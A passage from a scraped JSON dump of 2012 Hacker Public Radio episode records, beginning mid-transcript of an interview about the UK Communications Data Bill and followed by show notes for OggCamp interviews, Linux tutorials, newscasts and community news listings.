      They have for a long time been trying to get a succession of governments to put into law rules that allow them to snoop on all of your communications. They tried to do it under [the previous Labour Party government], and it didn't quite work out because there was an outcry in civil society about it, and it's now happening under the Tories and Liberal Democrats. So this is not a partisan issue at all. This is an activity that is arising out of the Cheltenham data centre that is used by the intelligence services and arising out of the police forces, who are all very worried that they can't read your email.

      \n\n

      doubi: Now, I've heard a little bit about this and I've heard it pitched in terms of, \"This is the security services just trying to keep up with changing technology.\" What do you say to that, because people obviously people are using different forms of communication now; is there anything legitimate in the security services needing to \"keep up\" with that?

      \n\n

      Simon: I think it's legitimate for them to need to \"keep up\" but that is not a good excuse for them to do what they're doing here, because what they're doing is creating a right to ask every internet service provider to keep, for twelve months, all of your traffic on the internet, so they can analyse it off-line. That gives them plenty of time to crack SSH, to crack SSL keys, to crack any encryption that's going on.

      \n\n

      The big problem is that this right is being created fresh, it's being created without any right for you to know that it's happening, it's being created without any judicial oversight, so that the police can just decide to ask for your material to be created. It's also being created in such a way that should the police choose to they could create a central database of all this information that could then be casually searched.

      \n\n

      By \"casually searched\", I mean it could be searched, for example, by organisations enforcing family law disputes, organisations enforcing defaults on mortgage payments, organisations who are looking into whether you have renewed the MOT [annual road-worthiness test] on your car. All of those would be the sort of excuses to go dipping in on a fishing expedition on your personal data.

      \n\n

      So what's being proposed is not just keeping up to date with technology, it's going way, way, way beyond any scope for keeping up, and it's creating for the first time a database of citizen communications that can then in the future be fished-into arbitrarily, without notification, without recourse and without judicial oversight.

      \n\n

      doubi: It might sound to people like some of the examples you gave about the misuse of such a database are hypothetical or facetious, but already if people were to go to the Open Rights Group website, openrightsgroup.org there are on the wiki there are documented examples of how local councils, both individuals and in an official capacity, are already abusing some of these databases that are intended for much more serious purposes and are ostensibly there to save us from real threats [NB: This is inaccurate; please see footnote].

      \n\n

      Simon: When these things get started, they're always packed in guarantees that nobody will do anything bad with your data. The CDB is no different: all of the padding around it says, \"Trust us to create this database of communications, because look at all these protections we're putting around it to prevent abuse.\" Now what we know is that once you've created a resource, mission creep in the future will change the way that it's used.

      \n\n

      Take for example the congestion charge cameras in London. All around London now there are number-plate [license-plate] recognition cameras that were put there only to collect congestion charges. But as time has gone by, people have found other, extremely legitimate uses for them: to prevent terrorism, to enforce laws. And now they are part of a network that the police can routinely use to identify the location of any vehicle in central London. That wasn't what the cameras were put there for, and when they were set up we were told that wasn't going to happen.

      \n\n

      I look at the CDB and I believe it's exactly the same thing. The thing that's wrong with the Communications Data Bill is not the uses to which the authorities will put the data, it is creating the repository of data in the first place.

      \n\n

      doubi: Absolutely. And I think together with the lack of judicial oversight which you already mentioned, those are the really scary aspects about this. What can people do at this stage?

      \n\n

      Simon: Well, at the lowest level what people can do it join the Open Rights Group. The Open Rights Group is an organisation which is funded largely from the membership fees of its members. You can visit openrightsgroup.org and sign up, set up a standing order to pay is little as £5 a month, that will help to pay for professional researchers to understand all these highly complex laws, and then go and engage on your behalf, to make sure that the bad things don't happen.

      \n\n

      If you're more motivated than that, than just joining, you could get involved with a local chapter of the Open Rights Group. There are local chapters all over the UK, where you can meet with other like-minded people and take local action: ttalking with MPs, talking with local radio stations, talking with local newspapers, and making sure that the digital rights agenda of the individal citizen has as loud a voice as the media lobby is able to bring to corporate concerns.

      \n\n

      doubi: Sounds great. Simon, thank you very much; do you want to give your vital statistics, where to find you on the web?

      \n\n

      Simon: I do all sorts of things of the web. They are all locatable from my website webmink.com.

      \n\n

      doubi: Thank you very much, looking forward to your presentation tomorrow, and enjoy OggCamp!

      \n\n

      Simon: Thank you very much.

      \n\n

      \n

      NB: I was quite wrong about the ORG wiki. There isn't a page about concerted abuses of centralised data repositories as such; what there is the UK Privacy Debacles page, which lists (worryingly numerous) examples of companies and public bodies accidentally losing or releasing data. There's only one example of malicious abuse by an individual.

      \n\n

      However, these examples of organisational incompetence to deal with data in themselves give an independent reason why the data store proposed by the CDB is a bad idea. Secondly, the examples of misuse of investigative resources and powers has been well documented elsewhere ([1], [2]).

      \n","hostid":220,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"oggcamp,oggcamp12","version":0,"downloads":2191,"valid":1}, {"id":1058,"date":"2012-08-22","title":"OggCamp12 Hardware Hackers","duration":3356,"summary":"More interviews from OggCamp 12 on day 1","notes":"

      \nThis is the second show from OggCamp12 where I walk around the hardware hacking area. A big thank you to all the people I interviewed and who took the time to explain their project to me.\n

      \n
      OggCamp12
      \n

      \n

      \n","hostid":30,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"oggcamp,oggcamp12","version":0,"downloads":2393,"valid":1}, {"id":1059,"date":"2012-08-23","title":"OggCamp12 Day2 The morning after the night before","duration":3378,"summary":"Yet more interviews from OggCamp 12 on day 2","notes":"

      Skipping our usual Syndicated Thursday, we're continuing our week long fix of OggCamp12.

      \n

      Today it's day two, or the morning after the night before where we interview:

      \n\n","hostid":30,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"oggcamp,oggcamp12","version":0,"downloads":2272,"valid":1}, {"id":1060,"date":"2012-08-24","title":"OggCamp12 Farewell","duration":3108,"summary":"The final batch of interviews from OggCamp 2012","notes":"

      \nI was leaving my hotel room after the end of OggCamp, thinking to myself I had enough interviews recorded and something made me go back and get my recorders. I'm glad I did as I bagged some fantastic interviews. \n

      \n

      \nThe first one was with Rebecca Newborough web mistress of the Lincoln LUG https://lincoln.lug.org.uk/ on how to start a LUG. The first step is to visit the UK Linux User Groups site at https://lug.org.uk/\n

      \n

      \nWe all went to the Leaf venue for food and conversation https://thisisleaf.co.uk/#/on-bold-street/, while there I interviewed a few gentlemen starting with Kris Findlay about changes at his LUG and his work at Krisilis IT Solutions www.krisilis.com
      \nRaspberry Pi GPIO Demo https://www.slideshare.net/azmodie/introduction-to-raspberry-pi-and-gpio
      \n

      \n
      \nVideo on youtube (should also play after slide 14 on slideshare) \nhttps://www.youtube.com/watch?v=ZkXMnCBs2ms
      \n\nThe Software Society https://www.thesoftwaresociety.org.uk\n

      \n

      \nThen we had a chat with Ian Closs over from Ireland. We discussed the local FLOSS scene, Mark Shuttleworth https://en.wikipedia.org/wiki/Mark_Shuttleworth who will be attending SkyCon https://skycon.skynet.ie/2012/ and Archeology.\n

      \n

      \nTo round it all off a long round up with Fabian A. Scherschel https://sixgun.org/fabsh/ who true to his word gave me an interview for HPR. Of course he is still on record to submit a show to HPR himself.\n

      \n

      \nYou might think that's the end of OggCamp but I still have shows from last year to post :)\n

      \n","hostid":30,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"oggcamp,oggcamp12","version":0,"downloads":2492,"valid":1}, {"id":1061,"date":"2012-08-27","title":"TGTM Newscast for 2012/08/22","duration":1028,"summary":"A newscast from Talk Geek to Me","notes":"

      TGTM Newscast for 2012/08/22

      \n

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      News from \"thestand.org,\" \"rawstory.com,\" \"maggiemcneill.wordpress.com,\" Audio clip \"Moc#153 Purging Voter Rolls,\"  and \"allgov.com\" used under arranged permission.

      \n

      News from \"torrentfreak.com,\" and \"eff.org\" used under permission of the Creative Commons by-attribution license.

      \n

      News from \"democracynow.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license.

      \n

      News Sources retain their respective copyrights.

      \n

      Links

      \n\n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2148,"valid":1}, {"id":1062,"date":"2012-08-28","title":"LiTS 014: The Bottom of Top, top pt 2","duration":2203,"summary":"Part 2 of the top command","notes":"Dann continues his systematic analysis of the top command and you absolutely need to check out the text, and video for this one.
      \n\nhttps://www.linuxintheshell.com/2012/08/28/episode-014-the-bottom-of-top-top-pt-2\n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"top","version":0,"downloads":2762,"valid":1}, {"id":1063,"date":"2012-08-29","title":"Freedom and Licensing","duration":1619,"summary":"Following an interview with Richard Stallman on the Linux Action Show","notes":"

      Linux Action Show is at https://www.jupiterbroadcasting.com/show/linuxactionshow/

      \n

      Free Software Foundation is at https://www.fsf.org/

      \n

      Linux Format Magazine is at https://www.linuxformat.com/

      \n
      \n

      Follow my blog at https://www.zwilnik.com/

      \n

      To submit a talk for Ohio LinuxFest, please go to https://ohiolinux.org/callfortalks for more information.

      \n

      Remember to support free software!

      \n","hostid":198,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"software freedom,GPL,BSD licence","version":0,"downloads":2310,"valid":1}, {"id":1064,"date":"2012-08-30","title":"OGG Camp 11 Panel Discussion","duration":2458,"summary":"Recording of the panel discussion at OggCamp11","notes":"

      This was recorded last year

      \n

      Welcome to the Full Circle Podcast on Hacker Public Radio. This is the third of our highlights of last Summers unconference, OGG Camp-11, held at Farnham Maltings in the South of England.

      \n\n

      Introducing the OGG Camp-11 Panel Discussion

      \n\n

      On the panel we have:

      \n
        \n
      • Dan Lynch of Linux Outlaws, our Chairman
      • \n
      • Karen Sandler of the Gnome Foundation and ex-Software Freedom Law Center
      • \n
      • Simon Phipps of Forgerock and the Open Software Initiative
      • \n
      • Stuart ‘Aq’ Langridge, from Canonical's UbuntuOne team and ex-LUG Radio presenter
      • \n
      • Fabian Scherschel of Linux Outlaws
      • \n
      \n\n

      Like every good panel Discussion, this all begins with questions from the floor\n

      \n\n

      OGG Camp is a joint venture organised by those lovely podcasters the Linux Outlaws and the Ubuntu UK Podcast.

      \n\n

      We've more highlights of OGG Camp coming up on the Full Circle Podcast very soon, including Andy Piper and Laura Cjaikowski.

      \n\n

      The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community. Find us at www.fullcirclemagazine.org/podcast.

      \n\n

      Feedback; you can post comments and feedback on the podcast page at www.fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org

      \n\n

      Your Hosts:

      \n\n\n\n

      Additional audio by Victoria Pritchard

      \n\n

      Runtime: 40mins 56seconds

      ","hostid":160,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"oggcamp11,panel discussion","version":0,"downloads":2595,"valid":1}, {"id":1065,"date":"2012-08-30","title":"Wireless tip","duration":111,"summary":"Using an Android phone as a wireless hotspot","notes":"And now for the shortest show ever on HPR, we have a very useful tip about tethering to a WiFi hotspot over usb on android.","hostid":221,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"android,wireless,wifi,tether","version":0,"downloads":2599,"valid":1}, {"id":1066,"date":"2012-09-03","title":"HPR Community News August 2012","duration":2442,"summary":"HPR Community News August 2012","notes":"

      Featuring

      \n

      \nBecky Newborough
      \nMike Hingley
      \nKen Fallon
      \nDave Morriss
      \nPhilip Newborough
      \n

      \n\n

      New hosts

      \n

      Welcome to our new hosts: \nccmusique, \ndoubi, and \ncleavey.\n

      \n\n

      Show Review

      \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n
      id\ntitle\nhost\n
      1046HPR Community News July 2012HPR Admins
      1047Soldering Part 2: An audio demonstration of solderingMrX
      1048Get off this Rock !!!MrGadgets
      1049OGG Camp 11: Laura Czajowksi, Life Outside of IRC in a FLOSS CommunityRobin Catling
      1050TGTM Newscast for 2012/8/8 DeepGeekdeepgeek
      1051Intro to the musicccmusique
      1052LiTS: 013 - Top of TopDann
      1053Zoke with a questionXoke
      1054Becky Hogge: Barefoot into CyberspaceRobin Catling
      1055TGTM Newscast for 2012/8/15deepgeek
      1056OggCamp 12 Day 1 Part 1Ken Fallon
      1057OggCamp 2012: Simon Phipps: mini-intro to the CDBdoubi
      1058OggCamp12 Hardware HackersKen Fallon
      1059OggCamp12 Day2 The morning after the night beforeKen Fallon
      1060OggCamp12 FarewellKen Fallon
      1061TGTM Newscast for 2012/08/22deepgeek
      1062LiTS 014: The Bottom of Top, top pt 2Dann
      1063Freedom and LicensingAhuka
      1064OGG Camp 11 Panel DiscussionRobin Catling
      1065Wireless tipcleavey
      \n\n

      Thanks to

      \n
        \n
      • David Whitman for the fantastic banner.
      • \n
      • Everyone involved in OggCamp12
      • \n
      • Everyone who helped out with the podcast list - especially Dave Morriss
      • \n
      • DeepGeek for allowing his show to be bumped.
      • \n
      \n\n

      Apologies to

      \n
        \n
      • Again Deep Geek for messing up the show notes on TGTM news #72
      • \n
      \n\n

      Other Notes

      \n
        \n
      • The queue may not be up to date
      • \n
      • Ken will be taking it easy for the coming months
      • \n
      • Dave Yates is OK.
      • \n
      • HPR New year show
      • \n
      \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":2239,"valid":1}, {"id":1067,"date":"2012-09-04","title":"echo 01 > /dev/random","duration":9952,"summary":"An episode of the /dev/random podcast","notes":"In this long winded episode we are joined by Pokey, we discuss many things and many laughs are had. There are no links for the shownotes because pegwole may or may not have lost them all. By \"may or may not\" we mean he totally did.\n\nThis show contains swears.","hostid":120,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"podcast","version":0,"downloads":2333,"valid":1}, {"id":1068,"date":"2012-09-04","title":"Reformatting Creative Commons Content For Non-Computer Settings","duration":501,"summary":"Thoughts on reformatting CC content for emergency redistibution","notes":"In this episode, Stephen Michael Kellat of The Air Staff of Erie Looking Productions discusses reformatting contented licensed under the Creative Commons regime for use outside typical computer/portable media player contexts.","hostid":222,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"creative commons,emergency","version":0,"downloads":2206,"valid":1}, {"id":1069,"date":"2012-09-06","title":"Eric S. Raymond speaks at the Central Phila. LUG","duration":5607,"summary":"A recording of a talk at the Central Philadelphia LUG","notes":"

      \nIn today's show Russ Wenner, of The Techie Geek Podcast fame, submitted a talk recorded at the Central Philadelphia Linux Users Group. The\nspeaker is no other than:
      \nEric S. Raymond (born December 4, 1957) (often referred to by his initials, ESR) is the author of \"The Cathedral and the Bazaar\" and the present maintainer of the \"Jargon File\" (also known as \"The New Hacker's Dictionary\").
      \n\"A\n

      \n

      Links

      \n\n","hostid":158,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"hardware driver,Ground-truth document,CIA,irker","version":0,"downloads":2700,"valid":1}, {"id":1070,"date":"2012-09-07","title":"TGTM Newscast for 9/5/2012","duration":1567,"summary":"A newscast from Talk Geek to Me","notes":"

      TGTM Newscast for 9/5/2012

      \n

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      News from \"techdirt.com,\" \"perspectives.mvdirona.com,\"  \"havanatimes.org,\"\n\"rawstory.com,\" \"maggiemcneill.wordpress.com,\" and\n\"allgov.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com\" and \"freeculture.org\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      News Sources retain their respective copyrights.

      \n

      Links

      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2391,"valid":1}, {"id":1071,"date":"2012-09-10","title":"How I Cut The Cable Cord: My Settup","duration":917,"summary":"Consuming over the air TV rather than cable TV","notes":"

      \nHello HPR,
      \nBrocktonbob here with the audio from my video that i uploaded to youtube. In this video i show my settup of how i cut the cable cord. I also show the software and hardware i use to get all the tv anyone could want and i show my over the air HD antenna. I give the links to the youtube video which you should watch to get the full effect of what you can get with a little time and effort.
      \nThe links for the hardware i use are also included below.
      \nHappy Cable Cutting
      \nMy youtube video link https://www.youtube.com/watch?v=UHPTofh1cSA\n

      \n\n\n\n","hostid":202,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"cable tv,antenna,netgear digital entertainer,roku,playon server","version":0,"downloads":2413,"valid":1}, {"id":1072,"date":"2012-09-11","title":"LiTS 015: top part 3 - Control Top","duration":1618,"summary":"Part 3 of the top command","notes":"

      \nOthers would have given up by now. Not our Dann ! He continues his epic coverage of the Top command and in this episode will detail how to control the output of top via shortcut keys and command line switches.\n

      \n

      \nFor full notes go to https://www.linuxintheshell.com/2012/09/11/episode-015-top-part-3-control-top/\n

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"top","version":0,"downloads":2707,"valid":1}, {"id":1073,"date":"2012-09-12","title":"Separate Presentation from Content - 1 The Web","duration":1883,"summary":"An introduction to the concept of presentation versus content","notes":"

      The W3C page on why you should do this: https://www.w3.org/TR/WCAG20-TECHS/G140

      \n

      The The Universal Usability page: https://universalusability.com/access_by_design/document_structure/separate.html

      \n

      Wikipedia has an article at: https://en.wikipedia.org/wiki/Separation_of_presentation_and_content

      \n

      CSS Zen Garden shows how the look of a page can change with the same content : https://www.csszengarden.com/

      \n
      \n

      Ohio LinuxFest is September 28-30 in Columbus, Ohio. Go to https://ohiolinux.org/ for more information.

      \n

      My web site is at https://www.ahuka.com/.

      \n

      Remember to support free software!

      \n","hostid":198,"series":70,"explicit":1,"license":"CC-BY-SA","tags":"presentation,content,css","version":0,"downloads":2268,"valid":1}, {"id":1074,"date":"2012-09-13","title":"OGG Camp 11. Post-event Commentary with Alan Pope","duration":978,"summary":"Interview with Alan Pope","notes":"

      This show was recorded last year

      \n\n

      Welcome to the Full Circle Podcast on Hacker Public Radio. This is the last of our highlights of last Summers unconference, OGG Camp eleven, held at Farnham Maltings in the South of England.

      \n\n

      This show is a post-unconference de-brief with Alan Pope, one of the event organisers and friend of the show.

      \n\n

      OGG Camp is a joint venture organised by those lovely podcasters the Linux Outlaws and the Ubuntu UK Podcast.

      \n\n

      Alan has since joined Canonical as ‘Engineering Manager in Product Strategy,\nEngineering Ubuntu for hardware on a variety of devices. Strategy includes the Shuttleworth plan for Ubuntu on Everything.

      \n\n

      Find Alan at popey.com/blog (tagline DON'T YOU KNOW WHO I AM!!) and in his regular appearances as the host of the Ubuntu UK Podcast at https://podcast.ubuntu-uk.org/

      \n\n

      His wiki page is at https://wiki.ubuntu.com/AlanPope

      \n\n

      The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community. Find us at www.fullcirclemagazine.org/podcast.

      \n\n

      Feedback; you can post comments and feedback on the podcast page at www.fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org

      \n\n

      Your Hosts:

      \n\n\n\n

      Additional audio by Victoria Pritchard

      \n\n

      Runtime: 16mins 18seconds

      \n","hostid":160,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"interview,oggcamp,oggcamp11","version":0,"downloads":2169,"valid":1}, {"id":1075,"date":"2012-09-13","title":"tgtm-news-75-20120912","duration":1086,"summary":"A newscast from Talk Geek to Me","notes":"

      TGTM Newscast for 9/12/2012\n

      \n

      DeepGeek\n

      \n

      Here is a news review:

      \n
        \n
      • New\nCase of Waterboarding of Foreign Prisoner Revealed
      • \n
      • Dutch\nPirate Party Ready To Enter National Parliament
      • \n
      • Too\nMuch Secrecy: Press Ask The Court To Open Up Bradley Manning Court\nMartial
      • \n
      • One\nin Seven
      • \n
      • 5\nMysteries from the DNC
      • \n
      • Pirate\nBay Founder Arrest Related To Tax Hack, Not Piracy
      • \n
      • Big\nBrother In Your Car
      • \n
      • EFF\nAsks Appeals Court to Rehear Cell Site Tracking Case
      • \n
      • Copyright's\nRobot Wars Heat Up as Algorithms Block Live-Streams First and Ask\nQuestions Later
      • \n
      • Anti-Piracy\nBlocklists Don’t Keep BitTorrent Spies Out
      • \n
      \n

      Other Headlines:

      \n\n

      News from \"techdirt.com,\" \"maggiemcneill.wordpress.com,\" and \n\"inthesetimes.com,\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com,\" and \"eff.org,\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n

      News from \"democracynow.org\"  used under permission of the\nCreative Commons\nby-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n

      Links

      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2318,"valid":1}, {"id":1076,"date":"2012-09-17","title":"Ohio LinuxFest 2012","duration":2320,"summary":"Describing the upcoming Ohio LinuxFest conference and expo","notes":"

      In todays show Ken talks to Kevin O'Brien about Ohio LinuxFest
      \nFrom Wikipedia, the free encyclopedia
      \nThe Ohio LinuxFest is an annual technology conference and expo held in Columbus, Ohio. The event is dedicated to discussion and development of the Linux operating system and other open source software projects. During the event, conference attendees listen to a number of presentations and make contact with a number of companies and non-profit organizations who share an interest in open source software.\n

      \n

      Ohio LinuxFest 2012

      \n

      Free and Open Software Conference and Expo - Columbus, Ohio - September 28-30, 2012

      \n

      \nThe tenth annual Ohio LinuxFest will be held on September 28-30, 2012 at the Greater Columbus Convention Center in downtown Columbus, Ohio. Hosting authoritative speakers and a large expo, the Ohio LinuxFest welcomes all Free and Open Source Software professionals, enthusiasts, and everyone interested in learning more about Free and Open Source Software.\n

      \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"interview,OLF 2012,Ohio LinuxFest","version":0,"downloads":2341,"valid":1}, {"id":1077,"date":"2012-09-18","title":"FSCONS: Haralanova Hack for Freedom!","duration":827,"summary":"Interview with Christina Haralanova from Canada","notes":"

      Today FSCONS keynote speaker Christina Haralanova from Canada tell us about her keynote, the presentation she was not able to give, and how you teach your kids to hack stuff. Keep on hacking, and teach the young ones to do so as well!

      \n\n

      References

      \n\n\n\n \n

      How to reach me

      \n\n

      You should follow me and subscribe to All In IT Radio:

      \n\n","hostid":192,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"interview,FSCONS 2011,freedom,hacking","version":0,"downloads":2421,"valid":1}, {"id":1078,"date":"2012-09-18","title":"A podcast about software patents/unitary patent","duration":201,"summary":"The European Parliament and the issue of software patentability","notes":"In today's show we hear from the executive director of April, the main French association devoted to promoting and protecting Free Software.
      \n
      \nIn the next few days, the legal affairs (JURI) Committee of the European Parliament will discuss on the next actions regarding the project for a unitary patent. Behind what looks like a technical text lies a crucial issue: who decides on what is patentable and what is not.
      \n
      \nAs software patents are coming back in international news with the Apple/Samsung case, we need to ensure that such aberrations cannot happen in Europe. We calls for a general mobilisation to contact all MEPs, so that the European Parliament finally tackles the issue of the software patentability.
      \n
      \nApril has put into place a few campaigning tools to inform and to raise MEPs' awareness. Everything is available on :
      \nhttps://call.unitary-patent.eu","hostid":223,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"patent,software patent,unitary patent,Free Software","version":0,"downloads":2336,"valid":1}, {"id":1079,"date":"2012-09-20","title":"Distributed Systems Podcast","duration":5034,"summary":"Episode 12: LMAX","notes":"

      \nIn today's show we feature the Distributed Systems Podcast - all you ever wanted to hear and learn about building with DDD, CQRS, Cloud and much more!\n

      \n

      Episode 12: LMAX

      \n

      by Rinat Abdullin on April 2, 2012

      \n

      In this episode, Jonathan and Rinat interview Mike Barker who helped architect the LMAX Disruptor project, a high-performance, ultra-low latency structure for producer/consumer operations.

      \n

      Notes:

      \n\n

      Enjoy.

      \n","hostid":159,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"Distributed Systems Podcast,LMAX Disruptor,Java,C,C++,Fedora,Red Hat","version":0,"downloads":2451,"valid":1}, {"id":1080,"date":"2012-09-21","title":"TGTM Newscast for 9/19/2012 DeepGeek ","duration":1639,"summary":"A newscast from Talk Geek to Me","notes":"

      TGTM Newscast for 9/19/2012 DeepGeek

      \n

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      News from \"techdirt.com,\" \"rawstory.com,\"\nand\n\"allgov.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"eff.org,\" and \"torrentfreak.com\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n

      News from \"democracynow.org,\" and\n\"peoplesworld.org\" used under permission of the Creative Commons\nby-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n

      Links

      ","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2523,"valid":1}, {"id":1081,"date":"2012-09-24","title":"Preparing Pictures for Posting with the GIMP","duration":1504,"summary":"Preparing photographs for posting on a website","notes":"

      Frank Bell describes the process he uses to prepare photographs for posting pictures on his website. The goal of the process is not to transform the pictures, but to enhance them, and includes sharpening, adjusting the contrast and brightness, cropping, and resizing. Frank walks through applying the process to a snapshot from his deck garden.\n

      \n

      \n\n\n\"The
      \n\n\"The
      \n\n\"The
      \n\n\"The
      \n\n\"The
      \nBlog post of the picture\n

      \n

      Links:

      \n\n\n

      The pictures from the podcast:

      \n\n","hostid":195,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"GIMP,GNU Image Manipulation Program,photography","version":0,"downloads":2458,"valid":1}, {"id":1082,"date":"2012-09-25","title":"LiTS 016: top pt 4: Alternate Windows","duration":1178,"summary":"Part 4 of the top command","notes":"

      This final installment on the top command will discuss the alternate displays for top. When starting top with the defaults one is presented with a full screen view of top containing the summary window at the top and the task area in the bottom. The task area usually takes up three quarters of the top window. This display is not the only informative view that top has. By pressing the “A” key the “Alternate Display” view is presented where the task area becomes four separate task areas of equal size called “field groups”. The summary area remains where it is. Each of the four field groups displays the task information in a different manner.\n

      \n

      \nFor complete shownotes, and video see https://www.linuxintheshell.com/2012/09/25/episode-016-top-pt-4-alternate-windows/\n

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"top","version":0,"downloads":2853,"valid":1}, {"id":1083,"date":"2012-09-26","title":"compilers part1","duration":591,"summary":"The concept of a compiler","notes":"From the studios of miscellaneous radio theater 4096
      \n
      \nIn this multipart episode sigflup describes the general concept of a compiler as well as the stages of a compiler.","hostid":115,"series":84,"explicit":1,"license":"CC-BY-SA","tags":"compiler,neocortex,lexical analysis,preprocessing,parsing,semantic analysis,code generation,assembling,linking","version":0,"downloads":2438,"valid":1}, {"id":1084,"date":"2012-09-26","title":"Paul Levy on Learning to Dance with Spiders","duration":1653,"summary":"A Full Circle Podcast interview with Paul Levy","notes":"

      Hello world. And welcome to the Full Circle Podcast on Hacker Public Radio. This episode consists of an interview with entrepreneur, thinker and author Paul Levy.

      \n\n

      The founder of Cats3000 and Rational Madness and author of the play Texts, Paul is also convener of the Critical Incident unconference, which together lead to Learning to Dance with Spiders, a workshop in which Paul shares some experiments from his book about living consciously with your mobile phone and staying intact in the world of social media. \"Truly ground-breaking, uncomfortable, and usable.”

      \n\n

      Also discussed:
      \n Jaron Lanier: You are not a Gadget
      \n Sherri Turkel: Alone Together

      \n\n

      Paul Levy’s site combines Cats3000 and Rational Madness at https://rationalmadness.wordpress.com/, where you will also find the e-book The Collusion of Mediocrity.

      \n\n

      The Critical Incident un-Conference for 2012 has been announced on the theme of the I. Take a look over the conference plan for this year over at the Critical Incident website, www.thecriticalincident.com/

      \n\n

      The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community. Find us at www.fullcirclemagazine.org/podcast.

      \n\n

      Feedback; you can post comments and feedback on the podcast page at www.fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org

      \n\n

      Your Hosts:

      \n\n\n\n

      Additional audio by Victoria Pritchard

      \n\n

      Runtime: 27mins 33seconds

      \n","hostid":160,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Interview,Full Circle Podcast","version":0,"downloads":2480,"valid":1}, {"id":1085,"date":"2012-09-27","title":"A Stream","duration":470,"summary":"An ambient recording of a stream","notes":"

      Back in episode 1058, OggCamp12 Hardware Hackers, (https://hackerpublicradio.org/eps/hpr1058/) we met Zack at the hardware village at OggCamp12. He was busy with his project to orchestrate music based on the movement of a Kite.

      \n

      \nToday he sent us in a recording of a stream. Ideal to use as ambient noise in the workplace or in your audio dramas. He has uploaded it to www.freesound.org but we will also host the flac version of the original and of the edited show\n

      \n

      \nhpr1085 flac version: hpr1085.flac
      \nZack's original: Zachary_De_Santos-NIISA_at_gmx.co.uk_Stream6.wav

      \n","hostid":224,"series":101,"explicit":1,"license":"CC-BY-SA","tags":"ambient sound","version":0,"downloads":2443,"valid":1}, {"id":1086,"date":"2012-10-01","title":"HPR Community News September 2012","duration":2894,"summary":"HPR Community News September 2012","notes":"

      Featuring

      \n

      \nDave Morriss
      \nEpicanis
      \nKen Fallon
      \nklaatu
      \npegwole
      \n

      \n\n

      New hosts

      \n

      Welcome to our new hosts:\nZachary De Santos,\nFrederic Couchet, and\nThe Air Staff of Erie Looking Productions.\n

      \n\n

      Show Review

      \n\n\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
      id\ntitle\nhost\n
      1066 HPR Community News August 2012Various Hosts
      1067 echo 01 > /dev/randompegwole
      1068 Reformatting Creative Commons Content For Non-Computer SettingsThe Air Staff of Erie Looking Production
      1069 Eric S. Raymond speaks at the Central Phila. LUGVarious Creative Commons Works
      1070 TGTM Newscast for 9/5/2012deepgeek
      1071 How I Cut The Cable Cord: My SettupBrocktonBob
      1072 LiTS 015: top part 3 - Control TopDann
      1073 Separate Presentation from Content - 1 The WebAhuka
      1074 OGG Camp 11. Post-event Commentary with Alan PopeRobin Catling
      1075 tgtm-news-75-20120912deepgeek
      1076 Ohio LinuxFest 2012Ken Fallon
      1077 FSCONS: Haralanova Hack for Freedom!Seetee
      1078 A podcast about software patents/unitary patentFrederic Couchet
